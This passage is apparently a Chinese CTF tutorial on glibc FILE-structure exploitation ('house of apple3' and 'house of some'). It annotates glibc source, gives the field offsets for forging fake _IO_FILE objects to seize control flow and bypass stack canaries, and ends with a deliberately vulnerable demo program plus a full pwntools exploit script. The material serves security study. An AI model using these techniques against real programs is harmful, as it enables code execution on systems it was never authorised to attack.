int __stateful;
void *__data; /* Pointer to step-local data. */
};
struct __gconv_step_data
{
unsigned char *__outbuf; /* Output buffer for this step. */
unsigned char *__outbufend; /* Address of first byte after the output
buffer. */
/* Is this the last module in the chain. */
int __flags;
/* Counter for number of invocations of the module function for this
descriptor. */
int __invocation_counter;
/* Flag whether this is an internal use of the module (in the mb*towc*
and wc*tomb* functions) or regular with iconv(3). */
int __internal_use;
__mbstate_t *__statep;
__mbstate_t __state; /* This element must not be used directly by
any module; always use STATEP! */
};house of apple3的利用主要关注以下三个函数:__libio_codecvt_out、__libio_codecvt_in和__libio_codecvt_length。三个函数的利用点都差不多,以__libio_codecvt_in为例,源码分析如下: enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const char *from_start, const char *from_end,
const char **from_stop,
wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
enum __codecvt_result result;
// gs 源自第一个参数
struct __gconv_step *gs = codecvt->__cd_in.step;
int status;
size_t dummy;
const unsigned char *from_start_copy = (unsigned char *) from_start;
codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
codecvt->__cd_in.step_data.__statep = statep;
__gconv_fct fct = gs->__fct;
// 如果gs->__shlib_handle不为空,则会用__pointer_guard去解密
// 这里如果可控,设置为NULL即可绕过解密
if (gs->__shlib_handle != NULL)
PTR_DEMANGLE (fct);
// 这里有函数指针调用
// 这个宏就是调用fct(gs, ...)
status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &from_start_copy,
(const unsigned char *) from_end, NULL,
&dummy, 0, 0));
// ......
}__gconv_fct和DL_CALL_FCT被定义为: /* Type of a conversion function. */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
const unsigned char **, const unsigned char *,
unsigned char **, size_t *, int, int);
_IO_wfile_underflow
- 调用链
_IO_wfile_underflowwint_t
_IO_wfile_underflow (FILE *fp)
{
struct _IO_codecvt *cd;
enum __codecvt_result status;
ssize_t count;
/* C99 requires EOF to be "sticky". */
// 不能进入这个分支
if (fp->_flags & _IO_EOF_SEEN)
return WEOF;
// 不能进入这个分支
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
// 不能进入这个分支
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
// 需要进入这个分支
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr < fp->_IO_read_end)
{
/* There is more in the external. Convert it. */
const char *read_stop = (const char *) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
// 需要一路调用到这里
status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
// ......
}
}__libio_codecvt_inDL_CALL_FCTgs = fp->_codecvt->__cd_in.step*(gs->__fct)(gs)
综上所述: * _flags设置为~(4 | 0x10) * vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow即可 * fp->_IO_read_ptr < fp->_IO_read_end,即满足*(fp + 8) < *(fp + 0x10) * _wide_data保持默认,或者设置为可控堆地址A,即满足*(fp + 0xa0) = A * _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8) * _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B * codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C * codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0 * codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdi为C。如果_wide_data也可控的话,rsi也能控制
_IO_wfile_underflow_mmap
- 调用链
_IO_wfile_underflow_mmap满足条件:static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
// 不能进入这个分支
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
// 不能进入这个分支
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
// 最好不要进入这个分支
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;
/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
// 最好不要进入这个分支
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
// 需要调用到这里
__libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
//......
}
fp->_flags & _IO_NO_READS == 0fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_endfp->_IO_read_ptr < fp->_IO_read_endfp->_wide_data->_IO_buf_base != NULL
__libio_codecvt_inDL_CALL_FCTgs = fp->_codecvt->__cd_in.step*(gs->__fct)(gs)
综上所述: * _flags设置为~4 * vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可 * fp->_IO_read_ptr < fp->_IO_read_end,即满足*(fp + 8) < *(fp + 0x10) * _wide_data保持默认,或者设置为可控堆地址A,即满足*(fp + 0xa0) = A * _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8) * _wide_data->_IO_buf_base设置为非0,即满足*(A + 0x30) != 0 * _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B * codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C * codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0 * codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdi为C,如果_wide_data也可控的话,rsi也能控制
_IO_wdo_write
- 调用链
_IO_new_file_sync满足条件:int
_IO_new_file_sync (FILE *fp)
{
ssize_t delta;
int retval = 0;
/* char* ptr = cur_ptr(); */
if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_do_flush(fp)) return EOF;//调用到这里
//......
}
fp->_IO_write_ptr > fp->_IO_write_base
_IO_do_flush满足条件:
fp->_mode > 0- 此时的第二个参数为
fp->_wide_data->_IO_write_base - 第三个参数为
fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base
_IO_wdo_write满足条件:int
_IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do)
{
struct _IO_codecvt *cc = fp->_codecvt;
// 第三个参数必须要大于0
if (to_do > 0)
{
if (fp->_IO_write_end == fp->_IO_write_ptr
&& fp->_IO_write_end != fp->_IO_write_base)
{// 不能进入这个分支
if (_IO_new_do_write (fp, fp->_IO_write_base,
fp->_IO_write_ptr - fp->_IO_write_base) == EOF)
return WEOF;
}
// ......
/* Now convert from the internal format into the external buffer. */
// 需要调用到这里
result = __libio_codecvt_out (cc, &fp->_wide_data->_IO_state,
data, data + to_do, &new_data,
write_ptr,
buf_end,
&write_ptr);
//......
}
}
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_basefp->_IO_write_end == fp->_IO_write_ptr && fp->_IO_write_end != fp->_IO_write_base为假
__libio_codecvt_outDL_CALL_FCT`gs = fp->_codecvt->__cd_out.step
*(gs->__fct)(gs)
综上所述: * _flags设置为~4 * vtable设置为_IO_file_jumps地址(加减偏移),使其能成功调用_IO_new_file_sync即可 * _mode > 0,即满足(fp + 0xc0) > 0 * _IO_write_end != _IO_write_ptr或者_IO_write_end == _IO_write_base,即满足*(fp + 0x30) != *(fp + 0x28)或者*(fp + 0x30) == *(fp + 0x20) * _wide_data设置为堆地址,假设地址为A,即满足*(fp + 0xa0) = A * _wide_data->_IO_write_ptr >= _wide_data->_IO_write_base,即满足*(A + 0x20) >= *(A + 0x18) * _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B * codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C * codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0 * codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdi为C,如果_wide_data也可控的话,rsi也能控制
_IO_wfile_sync
- 调用链
_IO_wfile_sync满足条件:wint_t
_IO_wfile_sync (FILE *fp)
{
ssize_t delta;
wint_t retval = 0;
/* char* ptr = cur_ptr(); */
// 不要进入这个分支
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if (_IO_do_flush (fp))
return WEOF;
delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end;
// 需要进入到这个分支
if (delta != 0)
{
/* We have to find out how many bytes we have to go back in the
external buffer. */
struct _IO_codecvt *cv = fp->_codecvt;
off64_t new_pos;
// 这里直接返回-1即可
int clen = __libio_codecvt_encoding (cv);
if (clen > 0)
/* It is easy, a fixed number of input bytes are used for each
wide character. */
delta *= clen;
else
{
/* We have to find out the hard way how much to back off.
To do this we determine how much input we needed to
generate the wide characters up to the current reading
position. */
int nread;
size_t wnread = (fp->_wide_data->_IO_read_ptr
- fp->_wide_data->_IO_read_base);
fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state;
// 调用到这里
nread = __libio_codecvt_length (cv, &fp->_wide_data->_IO_state,
fp->_IO_read_base,
fp->_IO_read_end, wnread);
// ......
}
}
}
fp->_wide_data->_IO_write_ptr <= fp->_wide_data->_IO_write_basefp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end != 0clen <= 0int
__libio_codecvt_encoding (struct _IO_codecvt *codecvt)
{
/* See whether the encoding is stateful. */
if (codecvt->__cd_in.step->__stateful)
return -1;
/* Fortunately not. Now determine the input bytes for the conversion
necessary for each wide character. */
if (codecvt->__cd_in.step->__min_needed_from
!= codecvt->__cd_in.step->__max_needed_from)
/* Not a constant value. */
return 0;
return codecvt->__cd_in.step->__min_needed_from;
}fp->codecvt->__cd_in.step->__stateful != 0
__libio_codecvt_lengthDL_CALL_FCT`gs = fp->_codecvt->__cd_out.step
*(gs->__fct)(gs)
综上所述: * _flags设置为~(4 | 0x10) * vtable设置为_IO_wfile_jumps地址(加减偏移),使其能成功调用_IO_wfile_sync即可 * _wide_data设置为堆地址,假设地址为A,即满足*(fp + 0xa0) = A * _wide_data->_IO_write_ptr <= _wide_data->_IO_write_base,即满足*(A + 0x20) <= *(A + 0x18) * _wide_data->_IO_read_ptr != _wide_data->_IO_read_end,即满足*A != *(A + 8) * _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B * codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C * codecvt->__cd_in.step->__stateful设置为非0,即满足*(B + 0x58) != 0 * codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0 * codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdi为C,如果rsi为&codecvt->__cd_in.step_data可控
house of some(house of apple2 plus)
- 利用条件
- 已知
glibc基地址 - 可控的已知地址(可写入内容构造
fake_IO_file) - 需要一次
libc内任意地址写可控地址 - 程序能正常退出或者通过
exit()退出
- 已知
- 优点:
- 无视目前的
IO_validate_vtable检查(wide_data的vtable加上检查也可以打) - 第一次任意地址写要求低
- 最后攻击提权是栈上
ROP,可以不需要栈迁移 - 源码级攻击,不依赖编译结果
- 无视目前的
利用_IO_new_file_underflow这个函数 int
_IO_new_file_underflow (FILE *fp)
{
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout);
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)宏其对应的常规read函数如下 ssize_t
_IO_file_read (FILE *fp, void *buf, ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}read的三个参数都是可控的 - fd=>fp->_fileno - buf=>fp->_IO_buf_base - size=>fp->_IO_buf_end - fp->_IO_buf_base
其中的for循环我们可以看到对于_IO_list_all上的单向链表,通过了_chain串起来,并在_IO_flush_all中,会遍历链表上每一个FILE,如果条件成立,就可以调用_IO_OVERFLOW(fp, EOF)
由于_IO_new_file_underflow内有一个_IO_switch_to_get_mode函数其中有这个分支 if (fp->_IO_write_ptr > fp->_IO_write_base)
if (_IO_OVERFLOW (fp, EOF) == EOF)
return EOF;fp->_IO_write_ptr > fp->_IO_write_base来使得触发OVERFLOW就会出现无限递归,所以不可行,我们需要采取另一个分支,即 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) // 不可行
|| (_IO_vtable_offset (fp) == 0 // 使用||之后的分支
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)_flags设置为~(2 | 0x8 | 0x800),设置为0即可(与apple2相同) - vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap地址,使得调用_IO_wfile_overflow即可(注意此处与apple2不同的是,此处的vtable不能加偏移,否则会打乱_IO_SYSREAD的调用) - _wide_data->_IO_write_base设置为0,即满足*(_wide_data + 0x18) = 0(与apple2相同) - _wide_data->_IO_write_ptr设置为大于_wide_data->_IO_write_base,即满足*(_wide_data + 0x20) > *(_wide_data + 0x18)(注意此处不同) - _wide_data->_IO_buf_base设置为0,即满足*(_wide_data + 0x30) = 0(与apple2相同) - _wide_data->_wide_vtable设置为任意一个包含_IO_new_file_underflow,其中原生的vtable就有,设置成_IO_file_jumps-0x48即可 - _vtable_offset设置为0 - _IO_buf_base与_IO_buf_end设置为你需要写入的地址范围 - _chain设置为你下一个触发的fake file地址 - _IO_write_ptr <= _IO_write_base即可 - _fileno设置为0,表示read(0, buf, size) - _mode设置为2,满足fp->_mode > 0即可
任意地址写 fake_file_read = flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: 任意地址写的起始地址, # _IO_buf_base
0x40: 任意地址写的终止地址, # _IO_buf_end
0x70: 0, # _fileno
0x82: b"\x00", # _vtable_offset
0xc0: 2, # _mode
0xa0: wide_data的地址, # _wide_data
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")
fake_wide_data = flat({
0xe0: _IO_file_jumps - 0x48,
0x18: 0,
0x20: 1,
0x30: 0,
}, filler=b"\x00")fake_file_write = flat({
0x00: 0x800 | 0x1000, # _flags
0x20: 需要泄露的起始地址, # _IO_write_base
0x28: 需要泄露的终止地址, # _IO_write_ptr
0x70: 1, # _fileno
0x68: 下一个调用的fake file地址, # _chain
0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")
攻击流程
- 第一步:任意地址写
_chain,这里可以写_IO_list_all或者stdin、stdout、stderr的_chain位置,在这一步需要在可控地址上布置一个任意地址写的fake_IO_file,之后将fake_IO_file地址写入上述位置 - 第二步:扩展
fake_IO_file链条并泄露栈地址,在第一步的中,我们只有一个fake_IO_file,并不能完成更复杂的操作,所以这一步我们需要写入两个fake_IO_file,一个用于泄露environ内的值(即栈地址),另一个用于写入下一个fake_IO_file - 第三步:泄露栈内数据,并寻找
ROP起始地址,这一步同样需要写入两个fake_IO_file,一个任意地址读,读取栈上内存,另一个任意地址写,向栈上写ROP - 第四步:写入
ROP,实现栈上ROP攻击! [[./houseofsome1.png]]
house of some2
主要关注的函数是_IO_wfile_jumps_maybe_mmap中的_IO_wfile_underflow_maybe_mmap
利用条件为 1. 已知libc地址 2. 可控地址(可写入fake file) 3. 可控stdout指针或者_IO_2_1_stdout_结构体 4. 程序具有printf或者puts输出函数
优点如下 1. 与House of Some一样可以绕过目前的vtable检查 2. printf和puts比较普遍,适用性广 3. 可以在栈上劫持控制流,衔接House of Some,完成最后攻击
先关注_IO_wfile_underflow_maybe_mmap函数 wint_t
_IO_wfile_underflow_maybe_mmap (FILE *fp)
{
/* This is the first read attempt. Doing the underflow will choose mmap
or vanilla operations and then punt to the chosen underflow routine.
Then we can punt to ours. */
if (_IO_file_underflow_maybe_mmap (fp) == EOF)
return WEOF;
return _IO_WUNDERFLOW (fp);
}_wide_data内的虚表_IO_WUNDERFLOW 那么继续深入_IO_file_underflow_maybe_mmap函数 int
_IO_file_underflow_maybe_mmap (FILE *fp)
{
/* This is the first read attempt. Choose mmap or vanilla operations
and then punt to the chosen underflow routine. */
decide_maybe_mmap (fp);
return _IO_UNDERFLOW (fp);
}_IO_UNDERFLOW 继续深入decide_maybe_mmap函数 static void
decide_maybe_mmap (FILE *fp)
{
/* We use the file in read-only mode. This could mean we can
mmap the file and use it without any copying. But not all
file descriptors are for mmap-able objects and on 32-bit
machines we don't want to map files which are too large since
this would require too much virtual memory. */
struct __stat64_t64 st;
if (_IO_SYSSTAT (fp, &st) == 0
&& S_ISREG (st.st_mode) && st.st_size != 0
/* Limit the file size to 1MB for 32-bit machines. */
&& (sizeof (ptrdiff_t) > 4 || st.st_size < 1*1024*1024)
/* Sanity check. */
&& (fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size))
{
/* Try to map the file. */
void *p;
... 这里主要就是做了mmap
}
/* We couldn't use mmap, so revert to the vanilla file operations. */
if (fp->_mode <= 0)
_IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps;
else
_IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps;
fp->_wide_data->_wide_vtable = &_IO_wfile_jumps;
}_IO_SYSSTAT调用,以及,在这个函数最后会恢复FILE和_wide_data的虚表
整理一下可以知道,如果一个FILE进入了函数_IO_wfile_underflow_maybe_mmap,那么他将会运行如下的流程 1. _IO_SYSSTAT(fp, &st)调用虚表,传入栈指针 2. decide_maybe_mmap函数结束,恢复两个虚表 3. _IO_UNDERFLOW (fp)调用虚表 4. _IO_WUNDERFLOW (fp)调用虚表
在_IO_file_jumps虚表的_IO_UNDERFLOW 函数中 count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
在printf和puts函数中,最后会调用stdout的__xsputn虚表的入口 如果我们使得__xsputn的偏移直接指向__underflow呢? 那么就会得到如下的偏移 __xsputn -> __underflow
__stat -> __write_IO_wfile_jumps_maybe_mmap-0x18
在上述调用过程中_IO_SYSSTAT(fp, &st)这个函数就会变成write(fp, &st, ??) 如果我们能够控制rdx就好了,这里就能做到栈数据泄露
能够控制的也就只有后续调用的_IO_UNDERFLOW (fp)中的_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);可以控制,由于decide_maybe_mmap会强制恢复虚表,所以这里我们不用担心篡改虚表带来的影响
如果rdx不可控直接执行write(fp, &st, ??)会怎么样,返回0或者非0 那么回到decide_maybe_mmap
这里判断,如果_IO_SYSSTAT (fp, &st)返回0,那么直接就不会进入if,如果返回不为0,我们看看S_ISREG的定义
这里可以看到最后判断采用的是==判断,由于栈上数据的限制,这里通过判断的概率不高
以及还有st.st_size != 0判断,在没有正确执行stat逻辑,栈维持原貌的情况下,这个if通过概率不高
如果还高,可以控制fp->_offset == _IO_pos_BAD || fp->_offset <= st.st_size为假即可
那么就能顺利的执行完decide_maybe_mmap,并且保留伪造的fp内容没有任何变动
接下来就是调用_IO_file_jumps虚表的_IO_UNDERFLOW ,操作执行read
这里,我们可以设置,注意fake_file_start就是我们当前控制的fp地址
_IO_buf_base = fake_file_start |
那么,这里我们就能再次重新复写fake,并扩大可控长度,widedata都可控了
回到上面执行流程,接下来就会执行_IO_WUNDERFLOW (fp)这个虚表函数了
然而,上述我们通过underflow重新控制了fp,也就是接下来的这个虚表函数,我们也是可控的
这里我们控制为_IO_WUNDERFLOW(fp) -> _IO_wfile_underflow_maybe_mmap
我们再次回到了起点,但是这次不一样了 在上一个小节,其实我们已经控制了rdx,因为_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)的第三个参数rdx = fp->_IO_buf_end - fp->_IO_buf_base
此时,此时我们依然有这四个执行流程 1. _IO_SYSSTAT(fp, &st)调用虚表,传入栈指针 2. decide_maybe_mmap函数结束,恢复两个虚表 3. _IO_UNDERFLOW (fp)调用虚表 4. _IO_WUNDERFLOW (fp)调用虚表
不同的是,此时_IO_SYSSTAT(fp, &st)可以被指向任意的虚表函数,因为在第二次控制fp的时候,我们又一次覆写了FILE的vtable
那么此时我们就可以控制 _IO_SYSSTAT(fp, &st) -> _IO_new_file_read(fp, &st, rdx) 我们已经成功完成了栈溢出
很不幸,decide_maybe_mmap函数开启了canary,我们没办法在没有泄露栈的情况下,完成栈溢出
由于fileno的设置,无法完成write(1,stack,rdx)的操作,真的没有办法的了吗
那么接下来,有请_IO_default_xsputn和_IO_default_xsgetn
我们阅读这两个函数源码 size_t
_IO_default_xsgetn (FILE *fp, void *data, size_t n)
{
size_t more = n;
char *s = (char*) data;
for (;;)
{
/* Data available. */
if (fp->_IO_read_ptr < fp->_IO_read_end)
{
size_t count = fp->_IO_read_end - fp->_IO_read_ptr;
if (count > more)
count = more;
if (count > 20)
{
s = __mempcpy (s, fp->_IO_read_ptr, count);
fp->_IO_read_ptr += count;
}
else if (count)
{
char *p = fp->_IO_read_ptr;
int i = (int) count;
while (--i >= 0)
*s++ = *p++;
fp->_IO_read_ptr = p;
}
more -= count;
}
if (more == 0 || __underflow (fp) == EOF)
break;
}
return n - more;
}
size_t
_IO_default_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (char *) data;
size_t more = n;
if (more <= 0)
return 0;
for (;;)
{
/* Space available. */
if (f->_IO_write_ptr < f->_IO_write_end)
{
size_t count = f->_IO_write_end - f->_IO_write_ptr;
if (count > more)
count = more;
if (count > 20)
{
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
}
else if (count)
{
char *p = f->_IO_write_ptr;
ssize_t i;
for (i = count; --i >= 0; )
*p++ = *s++;
f->_IO_write_ptr = p;
}
more -= count;
}
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
break;
more--;
}
return n - more;
}
可以知道,这是对于fp内的缓冲区的操作,可以关注到的是这里函数内有两个关键的部分 _IO_default_xsgetn (FILE *fp, void *data, size_t n)
==> __mempcpy(data, fp->_IO_read_ptr, n);
_IO_default_xsputn (FILE *f, const void *data, size_t n)
==> __mempcpy (f->_IO_write_ptr, data, n);fp->_IO_read_end - fp->_IO_read_ptr == n
f->_IO_write_end - f->_IO_write_ptr == n__underflow和_IO_OVERFLOW降低其他函数的干扰
这个时候就能衍生出一个大胆的想法,如果我们先将栈复制一份到可控的区域,再通过偏移写入,最后再拷贝回到栈内,那么我们就能完美的绕过canary并且,并不需要泄露canary
[[./houseofsome2.png]]
demo.c // gcc demo.c -o demo
int main(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
int c;
printf("[+] printf: %p\n", &printf);
while (1) {
puts(
"1. add heap.\n"
"2. write libc.\n"
"3. exit");
printf("> "
);
scanf("%d", &c);
if(c == 1) {
int size;
printf("size> ");
scanf("%d", &size);
char *p = malloc(size);
printf("[+] done %p\n", p);
printf("content> ");
read(0, p, size);
} else if(c == 2){
size_t addr, size;
printf("size> ");
scanf("%lld", &size);
printf("addr> ");
scanf("%lld", &addr);
printf("content> ");
read(0, (char*)addr, size);
} else {
break;
}
}
}
exp from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
tob = lambda x: str(x).encode()
io = process("./demo")
io.recvuntil(b"[+] printf: ")
printf_addr = int(io.recvuntil(b"\n", drop=True), 16)
log.success(f"printf_addr: {printf_addr:#x}")
def add(size):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size> ", tob(size))
def write(addr, size, content):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"size> ", tob(size))
io.sendlineafter(b"addr> ", tob(addr))
io.sendafter(b"content> ", content)
def leave():
io.sendlineafter(b"> ", b"3")
libc = ELF("./libc.so.6", checksec=False)
libc_base = printf_addr - libc.symbols["printf"]
libc.address = libc_base
log.success(f"libc_base: {libc_base:#x}")
_IO_wfile_jumps_maybe_mmap = libc.address + 0x215f40
log.success(f"_IO_wfile_jumps_maybe_mmap: {_IO_wfile_jumps_maybe_mmap:#}")
_IO_str_jumps = libc.address + 0x2166c0
log.success(f"_IO_str_jumps: {_IO_str_jumps:#}")
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40
# 此处直接修改_IO_2_1_stdout_内容
write(libc.symbols["_IO_2_1_stdout_"], 0xe0, flat({
0x0: 0x8000, # disable lock
0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0x70: 0, # _fileno
0xa0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xc0: p32(0xffffffff), # _mode < 0
0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
}, filler=b"\x00"))
# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制
io.send(flat({
0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),
0xd8: _IO_default_xsputn - 0x90, # vtable
0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr
0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}, filler=b"\x00"))
# 最后这里就可以劫持执行流到0xdeadbeaf了
io.send(flat({
0: 0xdeadbeaf, # retn
0x1c8-0xc8: {
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),
0xd8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_read_ptr
0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1c8 - 0xc8), # _IO_read_end
0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}
}, filler=b"\x00"))
io.interactive()
house of 琴瑟琵琶 | house of obstack(2.34~2.36)
